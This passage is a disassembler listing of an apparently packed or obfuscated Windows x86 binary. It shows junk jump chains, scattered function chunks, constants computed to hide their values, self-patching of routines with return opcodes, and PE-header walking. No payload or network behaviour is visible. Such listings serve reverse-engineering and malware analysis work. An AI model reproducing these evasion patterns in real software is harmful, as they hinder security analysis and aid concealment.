sub_43CC43	proc near		; CODE XREF: sub_439924:loc_44440Dp
					; kgbikm34:00448145j

; FUNCTION CHUNK AT 00445D1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B62D SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-8]
		mov	al, [eax]
		add	[ebp-0Ah], al
		xor	eax, eax
		jmp	loc_445D1B
sub_43CC43	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_43CC57:				; CODE XREF: sub_43FA71+Fj
		jmp	loc_43B77F
; END OF FUNCTION CHUNK	FOR sub_43FA71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_43CC5C:				; CODE XREF: sub_43DF5B:loc_43B8D2j
		cmp	esi, 0EE214991h
		jmp	loc_43AE56
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------

locret_43CC67:				; CODE XREF: kgbikm34:0044D58Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446779

loc_43CC68:				; CODE XREF: sub_446779-969Ej
		jmp	loc_43A404
; END OF FUNCTION CHUNK	FOR sub_446779
; ---------------------------------------------------------------------------

loc_43CC6D:				; CODE XREF: kgbikm34:004377A7j
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_43CC72:				; CODE XREF: sub_44114F:loc_448FA8j
		pop	edx
		lea	eax, sub_43F65B
		mov	byte ptr [eax],	0C3h
		jmp	loc_444588
; END OF FUNCTION CHUNK	FOR sub_44114F

; =============== S U B	R O U T	I N E =======================================



sub_43CC81	proc near		; CODE XREF: sub_401800+4Bp
					; kgbikm34:004448F8j
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004405CA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044992A SIZE 00000005 BYTES

		push	ecx
		push	8B1497F9h
		xchg	esi, [esp+8+var_8]
		jmp	loc_4405CA
sub_43CC81	endp

; ---------------------------------------------------------------------------

loc_43CC8F:				; CODE XREF: kgbikm34:00442FB6j
		jnz	loc_44AEF5
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_43CC95:				; CODE XREF: sub_438B6B:loc_442FA0j
		sub	edx, ds:4000F0h
		xor	edx, 0A6965F00h
		rol	edx, 18h
		jmp	loc_44DD24
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------

locret_43CCA9:				; CODE XREF: kgbikm34:00442AE9j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_43CCAA:				; CODE XREF: sub_43C55C+88DFj
		jmp	loc_44A2E5
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------

loc_43CCAF:				; CODE XREF: kgbikm34:0043A84Aj
		jmp	loc_44784F
; ---------------------------------------------------------------------------

loc_43CCB4:				; CODE XREF: kgbikm34:0043A6F4j
		jmp	loc_43C4A2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_254. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_43CCBA:				; CODE XREF: sub_440443+5DA7j
		jmp	loc_44B96B
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------

loc_43CCBF:				; CODE XREF: kgbikm34:004370DFj
		test	ebp, 6AFB7F01h
		jmp	loc_44883C
; ---------------------------------------------------------------------------

loc_43CCCA:				; CODE XREF: kgbikm34:0043DBA9j
		jns	loc_4440A9

; =============== S U B	R O U T	I N E =======================================



sub_43CCD0	proc near		; CODE XREF: kgbikm34:0044766Ap

; FUNCTION CHUNK AT 0044BB50 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	5A9712FCh
		pop	ecx
		or	ecx, 0A1497D60h
		rol	ecx, 1Dh
		add	ecx, 4E27FD3h
		jmp	loc_44BB50
sub_43CCD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_43CCEE:				; CODE XREF: sub_444002:loc_43E221j
		popf
		push	56EDAF29h
		jmp	loc_43C93E
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
		xor	eax, edx
		jmp	loc_443E92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439543

loc_43CD00:				; CODE XREF: sub_439543+1j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	943DE37Bh
; END OF FUNCTION CHUNK	FOR sub_439543
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_43CD0B:				; CODE XREF: sub_439BDE+71BDj
		pop	eax
		and	eax, 4EAB8C06h
		test	eax, 100h
		jmp	loc_44C3B5
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------

loc_43CD1D:				; CODE XREF: kgbikm34:0044D44Ej
		add	edi, 4D8F278Eh
		and	edi, 73EA7F98h
		add	edi, 0EF77D7C0h
		mov	[edi], eax
		jmp	loc_4398D1
; ---------------------------------------------------------------------------

loc_43CD36:				; DATA XREF: sub_43F4C9-1E1Ao
		mov	eax, [eax]
		push	offset sub_4430E4
		jmp	locret_449310
; ---------------------------------------------------------------------------

loc_43CD42:				; CODE XREF: kgbikm34:0043F533j
		pop	esi
		and	esi, 9C2AC82h
		test	esi, 1000000h
		jmp	loc_437A17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E8DA

loc_43CD54:				; CODE XREF: sub_43E8DA-365Fj
		mov	[edi], ebp
		adc	ebp, esi
		jmp	loc_43F440
; END OF FUNCTION CHUNK	FOR sub_43E8DA

; =============== S U B	R O U T	I N E =======================================



sub_43CD5D	proc near		; CODE XREF: kgbikm34:0043885Bj
					; sub_4407A7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A2E3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00442B6F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00442D03 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00445BCB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00447275 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044B5EC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044BE64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C3D2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044CB1B SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jnb	loc_447275
		pop	edx
		mov	eax, [esp+0]
		push	edx

loc_43CD6C:				; CODE XREF: sub_44A80D:loc_44222Dj
		call	sub_43ACD5
		mov	eax, 0CB10B158h
		jmp	loc_44BE64
sub_43CD5D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	eax, 0FC600134h
		jmp	sub_43DC9A
; ---------------------------------------------------------------------------

loc_43CD86:				; CODE XREF: kgbikm34:loc_449035j
		xor	ebx, 0B808A467h
		xor	eax, ebx
		pop	ebx
		add	eax, 9419DBEAh
		jb	loc_446964
		ror	eax, 1Dh
		xor	eax, 6CAB88E0h
		mov	edx, [esp]
		jmp	loc_4422FF
; ---------------------------------------------------------------------------
		push	676B97FAh
		jmp	sub_440F17
; ---------------------------------------------------------------------------
		and	edx, 1CC7643Bh
		jmp	sub_43AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4499F3

loc_43CDC1:				; CODE XREF: sub_4499F3+18j
		popf
		xchg	eax, [esp-4+arg_0]
		jmp	sub_43B051
; END OF FUNCTION CHUNK	FOR sub_4499F3
; ---------------------------------------------------------------------------

loc_43CDCA:				; DATA XREF: sub_43CFD0:loc_43CFDCo
		pop	ecx
		pop	ebp
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43CDCE	proc near		; CODE XREF: sub_43AD9F+9B11p
					; sub_44BE96+Dp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D6B9 SIZE 0000000E BYTES

		push	ebp
		call	sub_43F8EE

loc_43CDD4:				; CODE XREF: kgbikm34:loc_443EB0j
		jmp	loc_43D6B9
sub_43CDCE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448291

loc_43CDD9:				; CODE XREF: sub_448291-AA9Cj
		jmp	nullsub_342
; END OF FUNCTION CHUNK	FOR sub_448291
; ---------------------------------------------------------------------------
		jmp	ds:off_41E048
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439852

loc_43CDE4:				; CODE XREF: sub_439852+9j
		jmp	loc_43C22F
; END OF FUNCTION CHUNK	FOR sub_439852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_43CDE9:				; CODE XREF: kgbikm34:0043ADDEj
					; kgbikm34:0043C6C6j ...
		pop	edx
		jz	loc_43C6CB
		mov	eax, [esp+0]
		push	edx
		call	sub_43A4CE
		jmp	loc_4497DA
; END OF FUNCTION CHUNK	FOR sub_443AFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442401

loc_43CDFE:				; CODE XREF: sub_442401-30E8j
		add	eax, 0CF4C3C79h
		mov	ds:dword_44DF28, eax

loc_43CE0A:				; CODE XREF: kgbikm34:0043AD2Cj
					; sub_44A476-73E6j
		push	edx
		call	sub_44CABC
; END OF FUNCTION CHUNK	FOR sub_442401
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_43CE10:				; CODE XREF: sub_43ACD5+BB20j
		jmp	loc_446B48
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
		adc	eax, 0BBE24C91h
		jmp	sub_442401
; ---------------------------------------------------------------------------

loc_43CE20:				; DATA XREF: sub_43A46F+Eo
		mov	eax, edx
		push	eax
		push	0C31826B2h
		pop	eax
		sub	eax, ds:4000F4h
		jmp	loc_44BEE8
; ---------------------------------------------------------------------------

loc_43CE34:				; CODE XREF: kgbikm34:loc_44D297j
		mov	byte ptr [eax],	0C3h
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_43CE37:				; CODE XREF: sub_447E85-1E17j
		jmp	loc_439B64
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]

; =============== S U B	R O U T	I N E =======================================



sub_43CE40	proc near		; CODE XREF: sub_447E85:loc_43781Bj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044511C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00445C9F SIZE 0000001D BYTES

		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		jmp	loc_44511C
sub_43CE40	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43CE4B:				; CODE XREF: sub_44B20C-D81Dj
		jnz	loc_43F0DE
		jmp	loc_44C903
; END OF FUNCTION CHUNK	FOR sub_44B20C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458AD

loc_43CE57:				; CODE XREF: sub_4458AD-4AB0j
		jmp	nullsub_73
; END OF FUNCTION CHUNK	FOR sub_4458AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9E9

loc_43CE5C:				; CODE XREF: sub_43A9E9:loc_44B3A3j
		add	eax, 5CFFAE99h
		rol	eax, 10h
		jmp	loc_448421
; END OF FUNCTION CHUNK	FOR sub_43A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_43CE6A:				; CODE XREF: sub_449D59j
		push	0E3804E6Ah
		pop	eax
		add	eax, 1DACCB2Eh
		sub	eax, 2DF7CA94h
		add	eax, 2D0F0F8Ch
		mov	eax, [eax]
		jmp	loc_44B755
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_43CE89:				; CODE XREF: sub_448C95:loc_43A94Ej
		xor	eax, 0BCE411EFh
		cmp	eax, 0E5AB430Fh
		jmp	loc_44D3F0
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A374

loc_43CE9A:				; CODE XREF: sub_43A374:loc_43C7C1j
		pop	ebx
		sub	ecx, 37F9A451h
		add	ecx, 2C2A0B74h
		xor	ecx, 0C001BD50h
		add	ecx, ebp
		push	eax
		jmp	loc_4438BF
; END OF FUNCTION CHUNK	FOR sub_43A374
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43CEB5:				; CODE XREF: sub_4474D5+4BCj
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_43CEB9:				; CODE XREF: sub_43EAEE+7716j
		jmp	sub_43E4C0
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43CEBE:				; CODE XREF: kgbikm34:004440DBj
					; kgbikm34:004440EAj ...
		mov	al, 1
		jmp	loc_4472FB
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BF9

loc_43CEC5:				; CODE XREF: kgbikm34:0043B11Aj
					; sub_440BF9-4DCj
		inc	[ebp+var_4]
		jmp	loc_43A1A1
; END OF FUNCTION CHUNK	FOR sub_440BF9

; =============== S U B	R O U T	I N E =======================================



sub_43CECD	proc near		; CODE XREF: sub_44ABBB-AB71p

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043A2D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AB53 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442373 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044675F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044702A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044C39B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044D72D SIZE 00000018 BYTES

		call	sub_43EE64
		push	ecx
		jmp	loc_442373
sub_43CECD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DAB

loc_43CED8:				; CODE XREF: sub_443DAB-8B90j
		mov	ebx, [eax]
		add	eax, 4
		mov	edi, [eax]
		add	eax, 4
		mov	esi, [eax]
		add	eax, 4
		mov	ebp, [eax]
		add	eax, 4
		jmp	loc_44664D
; END OF FUNCTION CHUNK	FOR sub_443DAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_43CEF1:				; CODE XREF: sub_437A6A:loc_440E6Ej
		call	sub_43ACD5
		mov	eax, 8CA83E2Ch
		push	edi
		push	398A348Ah
		jmp	loc_43CAB0
; END OF FUNCTION CHUNK	FOR sub_437A6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_43CF06:				; CODE XREF: sub_4440CD:loc_4495C0j
		push	739E38F3h
		pop	esi
		and	esi, 952A31D1h
		or	esi, 0CF33295h
		add	esi, 0E246AEA3h
		mov	[esi], eax
		pop	esi
		lea	eax, sub_4440CD
		jmp	loc_448E97
; END OF FUNCTION CHUNK	FOR sub_4440CD
; ---------------------------------------------------------------------------

loc_43CF2C:				; CODE XREF: kgbikm34:0044842Bj
		test	ebp, 55BDFCB8h
		jmp	loc_4420EB
; ---------------------------------------------------------------------------
		push	5C3EA72Ah
		jmp	sub_4417B1

; =============== S U B	R O U T	I N E =======================================



sub_43CF41	proc near		; CODE XREF: kgbikm34:004415D6j
					; sub_44A9D8p

; FUNCTION CHUNK AT 00445C18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448179 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044899E SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0044DB88 SIZE 00000024 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ebp
		mov	ebp, esp
		js	sub_4489C5
		add	esp, 0FFFFFFECh
		mov	eax, offset dword_438368
		jmp	loc_445C18
sub_43CF41	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4391E0

loc_43CF5B:				; CODE XREF: sub_4391E0+B475j
		call	sub_43ACD5
		mov	eax, 203AE851h
		call	sub_440F62
		push	edi
		push	9BE80049h
		pop	edi
		jmp	loc_446B1E
; END OF FUNCTION CHUNK	FOR sub_4391E0
; ---------------------------------------------------------------------------

loc_43CF76:				; CODE XREF: kgbikm34:loc_440792j
		or	ebx, esi

loc_43CF78:				; CODE XREF: kgbikm34:loc_43C77Cj
		jmp	loc_443873
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44744C

loc_43CF7D:				; CODE XREF: sub_44744C+11j
		sub	al, 99h
		push	offset sub_44AD73
		jmp	sub_44AFC9
; END OF FUNCTION CHUNK	FOR sub_44744C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4464FC

loc_43CF89:				; CODE XREF: sub_4464FC:loc_4467B3j
		and	ebx, 267054D9h
		add	ebx, 0DE31CB74h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_44AD25
; END OF FUNCTION CHUNK	FOR sub_4464FC
; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_4446F8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43CFA5	proc near		; CODE XREF: sub_43C55C-3B26p
					; kgbikm34:0043E78Cj

; FUNCTION CHUNK AT 00438A4A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043A0A3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043A575 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0043DD50 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004417CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443CA9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00444B20 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444E65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004461BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447AC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447C65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C5B7 SIZE 00000014 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jnz	loc_444B20
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		jmp	loc_4461BB
sub_43CFA5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43CFC1	proc near		; CODE XREF: sub_4421A1+3480p
					; kgbikm34:0044CB52j

; FUNCTION CHUNK AT 0043CBC8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446894 SIZE 00000017 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ecx
		push	0F4B82F7Fh
		jmp	loc_43CBC8
sub_43CFC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_43CFD0	proc near		; DATA XREF: sub_43AD9F+9B16o
		mov	edx, [ebp-8]

loc_43CFD3:				; CODE XREF: sub_43C167+DB2Fj
		mov	eax, [ebp-4]
		call	nullsub_7
		pop	ecx

loc_43CFDC:				; CODE XREF: sub_44BE96-7DE1j
		push	offset loc_43CDCA
		jmp	nullsub_64
sub_43CFD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_43CFE6:				; CODE XREF: sub_4471A4+3C5Dj
		mov	edx, 0E18FD46Eh
		jl	loc_44D8CE
		jmp	loc_43FBDA
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------

loc_43CFF6:				; CODE XREF: kgbikm34:loc_44548Dj
		jl	loc_43D268
; START	OF FUNCTION CHUNK FOR sub_4450E9

loc_43CFFC:				; CODE XREF: sub_4450E9-6A0j
		jmp	nullsub_68
; END OF FUNCTION CHUNK	FOR sub_4450E9
; ---------------------------------------------------------------------------
		ror	edi, 9
		jmp	loc_43D266
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_447130
; ---------------------------------------------------------------------------
		mov	edx, [ebp-18h]
		mov	[edx], eax
		jmp	loc_43E54E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D019	proc near		; CODE XREF: sub_43C56B:loc_440FEAj

; FUNCTION CHUNK AT 0043A073 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A88F SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_4480D0
		jmp	loc_44A88F
sub_43D019	endp

; ---------------------------------------------------------------------------
		cmp	edx, 2C0E8509h
		jmp	loc_4429CE
; ---------------------------------------------------------------------------

loc_43D036:				; CODE XREF: kgbikm34:loc_44BB95j
		pop	ecx
		lea	eax, sub_441819
		mov	byte ptr [eax],	0C3h
		jmp	loc_443E81

; =============== S U B	R O U T	I N E =======================================



sub_43D045	proc near		; CODE XREF: .text:0040E4C6p
					; sub_412AB4+15p
					; DATA XREF: ...

; FUNCTION CHUNK AT 00437A54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438984 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043996E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043AD48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BBE5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043F0BE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043F88A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043F909 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044002E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004420CE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442AA9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442D0D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004442A0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444A08 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00447C1E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00449BFE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044AD5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B732 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044C76A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044CDC1 SIZE 0000000A BYTES

		js	loc_43BBE5
		jmp	loc_44AD5B
sub_43D045	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_43D050:				; CODE XREF: kgbikm34:00440D31j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449405

loc_43D051:				; CODE XREF: sub_449405-4157j
		jmp	loc_441569
; END OF FUNCTION CHUNK	FOR sub_449405
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43D057:				; CODE XREF: kgbikm34:00437292j
					; kgbikm34:00444540j
		xor	edx, 5F1BE931h
		or	edx, 2EC20383h
		add	edx, 0D0765CCDh
		mov	[edx], eax
		jmp	loc_438381
; ---------------------------------------------------------------------------

loc_43D070:				; CODE XREF: kgbikm34:0044CB2Dj
		and	ebx, 4E23E5E1h
		xchg	ebp, [eax]
		adc	ebp, 0DE702841h
		xor	ecx, 72D98637h

loc_43D084:				; CODE XREF: kgbikm34:loc_4495E0j
		mov	eax, [esp]
		jmp	loc_440153
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_43D08D:				; CODE XREF: sub_4440CD+3A9Aj
		jmp	loc_447D65
; END OF FUNCTION CHUNK	FOR sub_4440CD
; ---------------------------------------------------------------------------
		push	edi
		push	0FFDF3001h
		pop	edi
		rol	edi, 1Eh
		jmp	loc_440D41
; ---------------------------------------------------------------------------
		rol	ebx, 13h
		jmp	loc_445F15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E085

loc_43D0A9:				; CODE XREF: sub_43E085:loc_449A17j
		or	ebx, eax
		push	7004F31h

loc_43D0B0:				; CODE XREF: sub_448D30:loc_43854Fj
		lea	eax, [ebp-14h]
		push	ebp
		push	eax
		pop	ebp
		xchg	ebp, [esp+8+var_8]
		push	offset loc_43F3D4
		jmp	loc_44B750
; END OF FUNCTION CHUNK	FOR sub_43E085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446779

loc_43D0C3:				; CODE XREF: sub_446779:loc_445D44j
		xchg	ebp, [esp+4+var_4]
		push	0
		push	edx
		push	68C253E7h
		pop	edx
		sub	edx, 0A49C0DBFh
		or	edx, 0D980ED46h
		jmp	loc_43CC68
; END OF FUNCTION CHUNK	FOR sub_446779
; ---------------------------------------------------------------------------

loc_43D0E0:				; CODE XREF: kgbikm34:0043B77Aj
		rol	ebx, 1
		add	ebx, 0FADF62FDh
		mov	[ebx], eax
		pop	ebx

loc_43D0EB:				; CODE XREF: kgbikm34:loc_44C1F4j
		lea	eax, loc_44ACE0
		mov	byte ptr [eax],	0C3h
		jmp	loc_44D7F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437ABD

loc_43D0F9:				; CODE XREF: sub_437ABD:loc_44ACE0j
		push	offset loc_447A15
		jmp	nullsub_154
; END OF FUNCTION CHUNK	FOR sub_437ABD
; ---------------------------------------------------------------------------

loc_43D103:				; DATA XREF: sub_442E25+3B19o
		mov	[esi], eax
		pop	esi
		lea	eax, sub_43C267
		mov	byte ptr [eax],	0C3h
		jmp	loc_441275

; =============== S U B	R O U T	I N E =======================================



sub_43D114	proc near		; CODE XREF: sub_4151C8+10Fp
					; sub_4151C8+126p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004371ED SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00437924 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043915D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043946E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00439BA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004406AE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442564 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00443043 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00446DA8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00449387 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A0D7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BE6E SIZE 00000018 BYTES

		push	ecx
		push	0C5772018h
		jmp	loc_44BE6E
sub_43D114	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_43D11F:				; CODE XREF: sub_448C95:loc_442A8Fj
		push	4FE0951Fh
		pop	edx
		add	edx, 5B91225Dh
		xor	edx, 0B1311B16h
		and	edx, 0B84B4654h
		jmp	loc_444AAB
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_43D13C:				; CODE XREF: sub_4429A6-2BCj
		jz	loc_44C34B

loc_43D142:				; CODE XREF: sub_448897:loc_44D52Fj
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		push	eax
		mov	eax, ecx
		xchg	eax, [esp+4+var_4]
		jmp	loc_442EE7
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_43D158:				; CODE XREF: sub_44964D:loc_447612j
		adc	ecx, 0A6B3568h
		cdq
		jmp	loc_44D6A2
; END OF FUNCTION CHUNK	FOR sub_44964D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D164	proc near		; CODE XREF: sub_4457CBj
					; DATA XREF: sub_4457BE+3o

; FUNCTION CHUNK AT 0043E230 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044022A SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		mov	ebp, esp
		push	ecx
		mov	ecx, eax
		jmp	loc_43E230
sub_43D164	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A0F

loc_43D171:				; CODE XREF: sub_446A0F+14j
		add	ebx, 0CD470672h
		xchg	ebx, [esp+0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_446A0F
; ---------------------------------------------------------------------------

loc_43D17F:				; CODE XREF: kgbikm34:loc_4372D2j
		mov	eax, 24CC2B1h
